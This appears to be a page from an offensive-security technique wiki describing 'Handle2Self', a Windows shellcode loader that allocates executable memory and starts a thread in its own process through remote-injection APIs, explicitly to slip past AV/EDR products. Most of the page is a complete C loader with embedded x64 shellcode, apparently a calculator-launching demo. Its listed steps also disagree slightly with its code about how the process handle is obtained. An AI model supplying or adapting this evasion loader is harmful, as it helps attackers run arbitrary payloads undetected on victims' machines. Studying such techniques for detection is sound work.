Handle2Self
Get a handle from current process and creating a new thread
I first saw this in a public loader on GitHub called "GregsBestFriend":
In this technique, we use two well-known Windows APIs for process injection, VirtualAllocEx
and CreateRemoteThread
. using these APIs in remote process injection makes the loader look very suspicious and will be detected by most AVs. but interestingly enough, if we use the same set of APIs to allocate memory in local process space and then creating a new local thread, it goes unnoticed even by some of the best AV/EDR products out there (at least it used to be like that the last time i checked). so we are using the same APIs but instead of passing the handle of a remote process, we use the handle of current process.
Execution Flow:
Get a handle to local process using
OpenProcess
Allocate memory using
VirtualAllocEx
Write shellcode to allocated memoey with
WriteProcessMemory
Create new local thread using
CreateRemoteThread
using current process handleRelease the allocated memory and close the local thread handle
Code:
#include <Windows.h>
int main() {
unsigned char shellcode[] = {
0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
};
// Allocate memory in the current process (same as VirtualAlloc)
HANDLE hProcess = GetCurrentProcess();
void* exec_mem = VirtualAllocEx(hProcess, 0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy shellcode to allocated memory
WriteProcessMemory(hProcess, exec_mem, shellcode, sizeof(shellcode), NULL);
// Create a remote thread using the current thread handle (same as Createthread)
HANDLE th = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
// Wait for the thread to finish execution
WaitForSingleObject(th, INFINITE);
// Clean up
VirtualFreeEx(hProcess, exec_mem, 0, MEM_RELEASE);
CloseHandle(th); // Close remote thread handle
return 0;
}
Code Samples
Code snippets are available on GitHub:
Last updated
Was this helpful?